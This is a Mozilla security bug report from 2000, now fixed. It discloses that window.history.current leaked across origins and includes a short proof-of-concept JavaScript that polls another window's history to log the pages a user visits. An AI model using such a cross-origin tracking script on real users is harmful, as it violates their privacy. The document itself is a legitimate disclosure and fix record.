37905 - window.history.current allows tracking user's browsing

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[Norris Boyd]

Subject: 
        BUG: window.history.current allows tracking user's browsing
   Date: 
        Tue, 02 May 2000 15:45:02 +0300
   From: 
        Georgi Guninski <[e-mail]>
     To: 
        Norris Boyd <[e-mail]>




window.history.current is not protected by Same Origin security policy
and that allows tracking user's surfing.
The code is:
--------------------------------------------------------------
<FORM>
<TEXTAREA WRAP=HARD NAME=comment ROWS=10 COLS=80></TEXTAREA>
</FORM>
<SCRIPT>
last="";
current="";
a=window.open("http://www.yahoo.com");
function checkStatus()
{
 current=a.history.current;
 if (current != "" && current != last) 
  {
    last = current;
    document.forms[0].elements[0].value += current + " ";
  }
}
setInterval("checkStatus()",500);
</SCRIPT>
--------------------------------------------------------------


Reading links using window.history.current 
window.history.current is not protected by Same Origin security policy and that 
allows tracking user's surfing. 
Follow some links in www.yahoo.com and see them in the TEXTAREA bellow.

Comment 1

[Norris Boyd]

Attachment: Test case

Comment 2

[Mitchell Stoltz (not reading bugmail)]

Need to double-check call to same-origin, check default policy. I think I can
take care of this one.

Comment 3

[Mitchell Stoltz (not reading bugmail)]

Marking nsbeta2.

Comment 4

[leger]

Putting on [nsbeta2+] radar for beta2 fix. 

Comment 5

[Paul Wyskoczka]

Changed QA contact to Cathy.

Comment 6

[Mitchell Stoltz (not reading bugmail)]

Fixed...bug in nsScriptSecurityManager. Secure prefs access was failing.

Comment 7

[cathy zhang]

Yes, It is fixed.

Comment 8

[Mitchell Stoltz (not reading bugmail)]

Opening fixed security bugs to the public.